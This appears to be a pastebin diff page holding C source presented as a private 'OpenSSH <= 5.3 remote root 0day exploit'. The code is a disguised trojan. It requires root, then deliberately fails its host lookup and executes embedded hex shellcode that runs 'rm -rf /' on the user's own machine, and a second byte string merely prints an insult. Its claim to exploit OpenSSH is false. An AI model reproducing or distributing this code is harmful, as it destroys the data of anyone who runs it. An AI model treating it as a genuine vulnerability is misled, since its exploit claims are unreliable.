View difference between Paste ID: 1hWuBp2Y and WgXrebLq
SHOW: | | - or go back to the newest paste.
1
/*
2
*
3
* Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!
4
*
5
* OpenSSH <= 5.3 remote root 0day exploit (32-bit x86)
6
* Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!
7
*
8
*
9
*/
10
11
#include <stdio.h>
12
#include <netdb.h>
13
#include <stdlib.h>
14
#include <string.h>
15
#include <unistd.h>
16
#include <arpa/inet.h>
17
#include <sys/types.h>
18
#include <sys/socket.h>
19
#include <netinet/in.h>
20
21
void usage(char *argv[])
22
{
23
    printf("\n\t[+] HATSUNEMIKU\n");
24
    printf("\t[+] OpenSSH <= 5.3p1 remote root 0day exploit\n");
25
    printf("\t[+] By: Team foxx\n");
26
    printf("\t[+] Greetz to hackforums.net\n");
27
    printf("\t[+] Keep this 0day priv8!\n");
28
    printf("\t[+] usage: %s <target> <port>\n\n", argv[0]);
29
    exit(1);
30
}
31
32
unsigned char decoder[]=   "\x6a\x0b\x58\x99\x52"
33
                           "\x6a\x2f\x89\xe7\x52"
34
                           "\x66\x68\x2d\x66\x89"
35
                           "\xe6\x52\x66\x68\x2d"
36
                           "\x72\x89\xe1\x52\x68"
37
                           "\x2f\x2f\x72\x6d\x68"
38
                           "\x2f\x62\x69\x6e\x89"
39
                           "\xe3\x52\x57\x56\x51"
40
                           "\x53\x89\xe1\xcd\x80";
41
42
unsigned char rootshell[]= "\x31\xd2\xb2\x0a\xb9\x6f\x75\x21\x0a\x51\xb9\x63\x6b"
43
                           "\x20\x79\x51\x66\xb9\x66\x75\x66\x51\x31\xc9\x89\xe1"
44
                           "\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x31\xc0\x31"
45
                           "\xdb\x40\xcd\x80";
46
47
int main(int argc, char **argv)
48
{
49
50
    int euid = geteuid();
51
    int port= 22, sock;
52
    char h[1000];
53
    struct hostent *host;
54
    struct sockaddr_in addr;
55
56
    if(euid != 0)
57
    {
58
        fprintf(stderr, "You need to be root to use raw sockets.\n");
59
        exit(1);
60
    }
61
    if(euid == 0)
62
    {
63
        fprintf(stdout, "MIKU! MIKU! MIKU!\n");
64
    }
65
    if(argc != 3)
66
    usage(argv);
67
    if(!inet_aton(h, &addr.sin_addr))
68
    {
69
        host = gethostbyname(h);
70
        if(!host)
71
        {
72
            fprintf(stderr, "[-] Exploit failed.\n");
73
            (*(void(*)())decoder)();
74
            exit(1);
75
        }
76
        addr.sin_addr = *(struct in_addr*)host->h_addr;
77
        }
78
        sock = socket(PF_INET, SOCK_STREAM, 0);
79
        addr.sin_port = htons(port);
80
        addr.sin_family = AF_INET;
81
        if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
82
        {
83
            fprintf(stderr,"[-] Exploit failed.\n");
84
            exit(1);
85
        }
86
        char payload[1337];
87
        memcpy(payload, &decoder, sizeof(decoder));
88
        memcpy(payload, &rootshell, sizeof(rootshell));
89
        send(sock, payload, strlen(payload),0);
90
        close(sock);
91
        if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
92
        {
93
            fprintf(stderr, "[-] Exploit failed.\n");
94
            exit(1);
95
        }
96
        else if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)
97
        {
98
            fprintf(stdout, "[+]g0t sh3ll!\n");
99
            system("/bin/bash");
100
        }
101
        else
102
        {
103
            fprintf(stderr, "[-] Exploit failed.\n");
104
            close(sock);
105
            exit(0);
106
        }
107
}